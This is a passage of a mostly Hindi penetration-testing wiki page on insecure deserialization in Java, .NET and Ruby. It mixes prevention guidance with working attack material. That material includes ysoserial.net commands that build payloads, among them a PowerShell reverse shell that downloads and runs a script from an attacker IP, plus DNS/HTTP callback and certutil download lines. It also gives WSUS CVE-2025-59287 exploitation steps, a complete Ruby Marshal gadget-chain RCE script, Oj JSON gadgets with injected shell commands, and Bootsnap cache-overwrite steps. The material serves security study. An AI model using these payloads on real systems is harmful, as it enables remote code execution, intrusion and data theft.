<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
maven इंस्टॉल करें, और प्रोजेक्ट को कंपाइल करें:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
इस Java JSON लाइब्रेरी के बारे में और पढ़ें: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
लैब्स
- अगर आप कुछ ysoserial payloads टेस्ट करना चाहते हैं तो आप इस webapp को चला सकते हैं: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
क्यों
Java विभिन्न उद्देश्यों के लिए serialization का काफी उपयोग करता है, जैसे:
- HTTP requests: Serialization का व्यापक रूप से parameters, ViewState, cookies आदि के प्रबंधन में उपयोग किया जाता है।
- RMI (Remote Method Invocation): Java RMI protocol, जो पूरी तरह serialization पर निर्भर है, Java applications में remote communication के लिए एक आधारशिला है।
- RMI over HTTP: यह तरीका आमतौर पर Java-based thick client web applications द्वारा उपयोग किया जाता है, जो सभी object communications के लिए serialization का उपयोग करते हैं।
- JMX (Java Management Extensions): JMX नेटवर्क पर objects ट्रांसमिट करने के लिए serialization का उपयोग करता है।
- Custom Protocols: Java में, सामान्य प्रैक्टिस raw Java objects के transmission को शामिल करती है, जिसे आने वाले exploit examples में दिखाया जाएगा।
रोकथाम
Transient objects
एक class जो Serializable implement करती है, वह class के भीतर किसी भी object को जिसे serializable नहीं होना चाहिए, transient के रूप में घोषित कर सकती है। उदाहरण के लिए:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
उन क्लासों की Serialization से बचें जिन्हें Serializable को implement करना पड़ता है
ऐसी परिस्थितियों में जहाँ क्लास हायरार्की के कारण कुछ objects को Serializable इंटरफ़ेस implement करना अनिवार्य होता है, अनजाने में deserialization का जोखिम रहता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हों — इसके लिए एक final readObject() method परिभाषित करें जो हमेशा एक exception फेंकता हो, जैसा कि नीचे दिखाया गया है:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java में Deserialization सुरक्षा बढ़ाना
Customizing java.io.ObjectInputStream deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक तरीका है। यह विधि तब उपयुक्त है जब:
- Deserialization कोड आपके नियंत्रण में है।
- Deserialization के लिए अपेक्षित classes ज्ञात हों।
resolveClass() method को override करके deserialization को केवल अनुमत classes तक सीमित करें। यह स्पष्ट रूप से अनुमत किए गए classes के अलावा किसी भी class के deserialization को रोकता है, जैसे निम्न उदाहरण में केवल Bicycle class तक deserialization सीमित किया गया है:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement तब एक fallback समाधान प्रदान करता है जब कोड संशोधन संभव नहीं होता। यह विधि मुख्य रूप से blacklisting harmful classes के लिए लागू होती है, और एक JVM parameter का उपयोग करती है:
-javaagent:name-of-agent.jar
यह deserialization को डायनामिक रूप से सुरक्षित करने का एक तरीका प्रदान करता है, जो उन वातावरणों के लिए आदर्श है जहाँ तुरंत कोड परिवर्तन व्यावहारिक नहीं होते।
उदाहरण और जाँच के लिये देखें rO0 by Contrast Security
Implementing Serialization Filters: Java 9 ने ObjectInputFilter इंटरफेस के माध्यम से serialization filters पेश किए, जो serialized objects को deserialized किए जाने से पहले पूरा करने के लिए आवश्यक मानदंड निर्दिष्ट करने का एक शक्तिशाली तंत्र प्रदान करते हैं। ये filters global रूप से या per-stream लागू किए जा सकते हैं, जिससे deserialization प्रक्रिया पर सूक्ष्म नियंत्रण मिलता है।
Serialization filters का उपयोग करने के लिए, आप एक global filter सेट कर सकते हैं जो सभी deserialization ऑपरेशनों पर लागू होता है, या इसे specific streams के लिए डायनेमिक रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Leveraging External Libraries for Enhanced Security: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
- NotSoSerial intercepts deserialization processes to prevent execution of untrusted code.
- jdeserialize allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
- Kryo is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
There are several products using this middleware to send messages:
.png)
.png)
Exploitation
तो, मूल रूप से कई ऐसी सेवाएँ हैं जो JMS का उपयोग ख़तरनाक तरीके से कर रही हैं। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए पर्याप्त privileges हैं (अधिकतर मामलों में आपको valid credentials की ज़रूरत होगी) तो आप ऐसे malicious serialized objects भेज सकते हैं जो consumer/subscriber द्वारा deserialized किए जाएँगे।
इसका मतलब यह है कि इस exploitation में वह सभी clients जो उस message को उपयोग करेंगे, प्रभावित हो सकते हैं।
आपको यह ध्यान रखना चाहिए कि भले ही कोई service vulnerable हो (क्योंकि यह insecurely deserializing user input कर रही हो), आपको vulnerability का exploit करने के लिए उपयुक्त gadgets ढूँढने की भी ज़रूरत होगी।
टूल JMET बनाया गया था ताकि ये services connect करके attack की जा सकें और known gadgets का उपयोग करके कई malicious serialized objects भेजे जा सकें। ये exploits तभी काम करेंगे जब service अभी भी vulnerable हो और जो भी उपयोग किए गए gadgets vulnerable application के अंदर मौजूद हों।
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.
Fingerprint
WhiteBox
स्रोत code में निम्नलिखित occurrences की जांच करनी चाहिए:
TypeNameHandlingJavaScriptTypeResolver
ध्यान केंद्रित serializers पर होना चाहिए जो type को user-controlled variable द्वारा निर्धारित करने की अनुमति देते हों।
BlackBox
सर्च का लक्ष्य Base64 encoded string AAEAAAD///// या किसी समान pattern पर होना चाहिए जो server-side पर deserialization से गुज़र सकता है और deserialized होने वाले type पर control दे सकता है। इसमें शामिल हो सकते हैं, पर सीमित नहीं, JSON या XML संरचनाएँ जिनमें TypeObject या $type शामिल हों।
ysoserial.net
इस मामले में आप टूल ysoserial.net का उपयोग कर सकते हैं ताकि deserialization exploits बनाये जा सकें। Git repository डाउनलोड करने के बाद आपको टूल को compile करना होगा, उदाहरण के लिए Visual Studio का उपयोग करके।
यदि आप जानना चाहते हैं कि ysoserial.net अपना exploit कैसे बनाता है तो आप यह पृष्ठ देख सकते हैं जहाँ ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter समझाया गया है।
ysoserial.net के मुख्य विकल्प हैं: --gadget, --formatter, --output और --plugin.
--gadgetका उपयोग उस gadget को संकेत करने के लिए होता है जिसे abuse करना है (उस class/function को इंगित करें जो deserialization के दौरान commands execute करने के लिए abused होगा)।--formatter, यह संकेत करने के लिए कि exploit किस method से serialize किया जाएगा (आपको पता होना चाहिए कि backend payload को deserialize करने के लिए कौन सी library उपयोग कर रही है और उसी का उपयोग करके serialize करें)।--outputयह बताने के लिए कि आप exploit को raw या base64 encoded चाहते हैं। ध्यान दें कि ysoserial.net payload को UTF-16LE (Windows पर default encoding) का उपयोग करके encode करेगा, इसलिए यदि आप raw लें और उसे केवल Linux console से encode करें तो आपको कुछ encoding compatibility problems हो सकती हैं जो exploit को सही तरीके से काम करने से रोक सकती हैं (HTB JSON box में payload दोनों UTF-16LE और ASCII में काम किया, पर इसका मतलब यह नहीं कि यह हमेशा काम करेगा)।--pluginysoserial.net plugins को सपोर्ट करता है ताकि विशिष्ट frameworks के लिए exploits तैयार किए जा सकें जैसे ViewState
More ysoserial.net parameters
--minifyसंभव होने पर एक छोटा payload देगा--raf -f Json.Net -c "anything"यह बताएगा कि दिए गए formatter (Json.Netइस मामले में) के साथ किन-किन gadgets का उपयोग किया जा सकता है--sf xmlआप एक gadget (-g) संकेत कर सकते हैं और ysoserial.net उन formatters को खोजेगा जिनमें “xml” शामिल हो (case insensitive)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net में एक बहुत ही दिलचस्प पैरामीटर भी है जो यह बेहतर समझने में मदद करता है कि हर exploit कैसे काम करता है: --test
यदि आप यह पैरामीटर देते हैं तो ysoserial.net स्थानीय रूप से उस exploit को आज़माएगा, ताकि आप जांच सकें कि आपका payload सही तरीके से काम करेगा या नहीं।
यह पैरामीटर इसलिए उपयोगी है क्योंकि यदि आप कोड की समीक्षा करेंगे तो आपको निम्नलिखित जैसे code के टुकड़े मिलेंगे (from ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
इसका मतलब यह है कि exploit का परीक्षण करने के लिए कोड serializersHelper.JsonNet_deserialize को कॉल करेगा
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
पिछला code बनाए गए exploit के लिए vulnerable है. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test parameter allows us to understand कौन से chunks of code vulnerable हैं to the desrialization exploit that ysoserial.net can create.
ViewState
इस POST को देखें जो बताता है कि कैसे __ViewState parameter of .Net को exploit करने की कोशिश करें ताकि आप arbitrary code execute कर सकें। यदि आप victim machine द्वारा उपयोग किए गए secrets पहले से जानते हैं, तो यह पोस्ट पढ़ें ताकि आप जान सकें कि code कैसे execute करें。
Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- प्रभावित endpoints:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter./ReportingWebService.asmx→ ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.- मूल कारण: attacker‑controlled bytes legacy .NET formatters (BinaryFormatter/SoapFormatter) तक strict allow‑lists/binders के बिना पहुँचते हैं, इसलिए gadget chains WSUS service account (अक्सर SYSTEM) के रूप में execute हो जाते हैं।
Minimal exploitation (Reporting path):
- ysoserial.net के साथ एक .NET gadget generate करें (BinaryFormatter या SoapFormatter) और base64 output करें, उदाहरण:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
ReportEventBatchके लिए SOAP बनाएं जिसमें base64 gadget एम्बेड हो और इसे/ReportingWebService.asmxपर POST करें।- जब कोई admin WSUS console खोलता है, तो इवेंट deserialized हो जाता है और gadget फायर हो जाता है (SYSTEM के रूप में RCE).
AuthorizationCookie / GetCookie()
- एक forged AuthorizationCookie स्वीकार किया जा सकता है, decrypted किया जा सकता है, और BinaryFormatter sink को पास किया जा सकता है, जिससे pre‑auth RCE सक्षम हो जाता है यदि पहुँच योग्य हो।
Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
See Windows Local Privilege Escalation – WSUS
Prevention
To mitigate the risks associated with deserialization in .Net:
- डेटा स्ट्रीम्स को उनके object types परिभाषित करने की अनुमति न दें। जहाँ संभव हो
DataContractSerializerयाXmlSerializerका उपयोग करें। - For
JSON.Net, setTypeNameHandlingtoNone:TypeNameHandling = TypeNameHandling.None JavaScriptSerializerकाJavaScriptTypeResolverके साथ उपयोग करने से बचें।- Limit the types that can be deserialized, .Net types जैसे
System.IO.FileInfoके साथ जुड़े अंतर्निहित जोखिमों को समझें, जो सर्वर फ़ाइलों की properties बदल सकते हैं, और संभवतः denial of service attacks का कारण बन सकते हैं। - खतरनाक properties वाले types के साथ सावधान रहें, जैसे
System.ComponentModel.DataAnnotations.ValidationExceptionउसकेValueproperty के साथ, जिसका उपयोग exploit करने के लिए किया जा सकता है। - Type instantiation को सुरक्षित तरीके से नियंत्रित करें ताकि attackers deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे यहाँ तक कि
DataContractSerializerयाXmlSerializerभी vulnerable हो सकते हैं। - White list controls लागू करें एक custom
SerializationBinderका उपयोग करकेBinaryFormatterऔरJSON.Netके लिए। - .Net में ज्ञात insecure deserialization gadgets के बारे में जानकारी रखें और सुनिश्चित करें कि deserializers ऐसे types को instantiate न करें।
- संभावित जोखिम भरे code को इंटरनेट एक्सेस वाले code से अलग करें ताकि ज्ञात gadgets, जैसे
System.Windows.Data.ObjectDataProvider(WPF applications में), untrusted data sources के संपर्क में न आएँ।
References
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
In Ruby, serialization is facilitated by two methods within the marshal library. The first method, known as dump, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, load, is employed to revert a byte stream back into an object, a process known as deserialization.
For securing serialized objects, Ruby employs HMAC (Hash-Based Message Authentication Code), ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (अधिक जानकारी के लिए https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails को exploit करने के लिए अन्य RCE chain: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() मेथड
जैसा कि this vulnerability report में बताया गया है, यदि किसी user का साफ़ नहीं किया गया इनपुट ruby ऑब्जेक्ट के .send() मेथड तक पहुँचता है, तो यह मेथड ऑब्जेक्ट के किसी भी अन्य मेथड को किसी भी पैरामीटर के साथ कॉल करने की अनुमति देता है।
उदाहरण के लिए, eval को कॉल करके और दूसरे पैरामीटर के रूप में ruby कोड देने पर मनमाना कोड चलाया जा सकता है:
<Object>.send('eval', '<user input with Ruby code>') == RCE
इसके अलावा, यदि केवल एक पैरामीटर .send() का attacker द्वारा नियंत्रित किया गया है, जैसा कि पिछले writeup में बताया गया है, तो उस ऑब्जेक्ट के किसी भी method को कॉल करना संभव है जो तर्कों की आवश्यकता नहीं करता या जिनके तर्कों के पास डिफ़ॉल्ट मान होते हैं।
इसके लिए, ऑब्जेक्ट के सभी methods को सूचीबद्ध करके ऐसे कुछ दिलचस्प methods खोजे जा सकते हैं जो उन शर्तों को पूरा करते हैं।
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
देखें कि यह कैसे संभव हो सकता है pollute a Ruby class and abuse it in here.
Ruby _json pollution
जब body में कुछ values भेजी जाती हैं जो hashabled नहीं हैं जैसे एक array, तो उन्हें _json नाम के नए key में जोड़ दिया जाता है। हालांकि, एक attacker भी body में _json नाम का value सेट कर सकता है जिसमें वह अपनी arbitrary values रखे। फिर, अगर backend उदाहरण के लिए किसी parameter की veracity चेक करता है लेकिन फिर _json parameter का इस्तेमाल किसी action को करने के लिए करता है, तो एक authorisation bypass किया जा सकता है।
अधिक जानकारी के लिए Ruby _json pollution page देखें।
Other libraries
यह technique from this blog post से लिया गया था।
कुछ अन्य Ruby libraries हैं जिन्हें objects serialize करने के लिए इस्तेमाल किया जा सकता है और इसलिए insecure deserialization के दौरान RCE हासिल करने के लिए abusе किया जा सकता है। नीचे दी गई table इन libraries में से कुछ और उन methods को दिखाती है जिन्हें loaded library द्वारा कॉल किया जाता है जब वे unserialized होते हैं (आमतौर पर RCE पाने के लिए abuse करने योग्य function):
| Library | Input data | Kick-off method inside class |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
बुनियादी उदाहरण:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Oj का दुरुपयोग करने की कोशिश में, एक gadget class पाया गया था जिसमें उसके hash function के भीतर to_s को कॉल किया जाता है, जो spec को कॉल करता है, जो fetch_path को कॉल करता है — जिसे एक random URL fetch कराने के लिए तैयार किया जा सकता था — और इससे इस तरह की unsanitized deserialization vulnerabilities का एक शानदार detector मिलता है।
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
इसके अलावा, यह पाया गया कि पिछली तकनीक के साथ सिस्टम में एक फ़ोल्डर भी बनाया जाता है, जो किसी अन्य gadget का दुरुपयोग करके इसे एक पूर्ण RCE में बदलने के लिए आवश्यक है, कुछ इस तरह:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln लेकिन यह bootstrap caching का दुरुपयोग करके arbitrary file write वाले rails application से RCE पाने का एक अच्छा ट्रिक है (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
Rails app की file upload functionality एक attacker को फ़ाइलें arbitrary रूप से लिखने देती है। यद्यपि app सीमाओं के साथ चलता है (Docker के non-root user के कारण केवल कुछ डायरेक्टरीज़ जैसे tmp ही writable हैं), यह फिर भी Bootsnap cache directory (typically under tmp/cache/bootsnap) में लिखने की अनुमति देता है।
- Understand Bootsnap’s Cache Mechanism
Bootsnap compiled Ruby code, YAML, and JSON files को cache करके Rails के boot समय को तेज करता है। यह ऐसे cache फ़ाइलें स्टोर करता है जिनमें एक cache key header शामिल होता है (with fields like Ruby version, file size, mtime, compile options, etc.) और इसके बाद compiled code होता है। यह header app startup के दौरान cache को validate करने के लिए उपयोग होता है।
- Gather File Metadata
Attacker पहले एक target फ़ाइल चुनता है जो संभवत: Rails startup के दौरान load होती है (for example, set.rb from Ruby’s standard library)। कंटेनर के अंदर Ruby code निष्पादित करके वे महत्वपूर्ण metadata निकालते हैं (such as RUBY_VERSION, RUBY_REVISION, size, mtime, and compile_option)। यह डेटा एक वैध cache key बनाने के लिए आवश्यक है।
- Compute the Cache File Path
Bootsnap के FNV-1a 64-bit hash mechanism को replicate करके सही cache file path निर्धारित किया जाता है। यह कदम सुनिश्चित करता है कि malicious cache फ़ाइल ठीक उसी स्थान पर रखी जाए जहाँ Bootsnap उसे ढूँढता है (e.g., under tmp/cache/bootsnap/compile-cache-iseq/)।
- Craft the Malicious Cache File
Attacker एक payload तैयार करता है जो:
- Executes arbitrary commands (for example, running id to show process info).
- Removes the malicious cache after execution to prevent recursive exploitation.
- Loads the original file (e.g., set.rb) to avoid crashing the application.
यह payload binary Ruby code में compile किया जाता है और सावधानीपूर्वक निर्मित cache key header के साथ concatenated किया जाता है (using the previously gathered metadata and the correct version number for Bootsnap).
- Overwrite and Trigger Execution
Arbitrary file write vulnerability का उपयोग करके attacker निर्मित cache फ़ाइल को गणना किये गए स्थान पर लिखता है। उसके बाद वे server restart trigger करते हैं (by writing to tmp/restart.txt, which is monitored by Puma)। Restart के दौरान, जब Rails requires the targeted file, malicious cache फ़ाइल लोड होती है, और परिणामस्वरूप remote code execution (RCE) होता है。
Ruby Marshal exploitation in practice (updated)
Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- वास्तविक chains में देखे जाने वाले सामान्य gadget classes:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - payloads में embedded होने वाला सामान्य side-effect marker (unmarshal के दौरान executed):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Where it surfaces in real apps:
- Rails cache stores और session stores जो ऐतिहासिक रूप से Marshal का उपयोग करते/कर चुके हैं
- Background job backends और file-backed object stores
- किसी भी कस्टम persistence या बाइनरी object blobs के transport
Industrialized gadget discovery:
- constructors,
hash,_load,init_with, या unmarshal के दौरान बुलाए जाने वाले side-effectful methods के लिए grep करें - CodeQL’s Ruby unsafe deserialization queries का उपयोग करके sources → sinks को trace करें और gadgets को surface करें
- सार्वजनिक multi-format PoCs (JSON/XML/YAML/Marshal) के साथ validate करें
संदर्भ
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
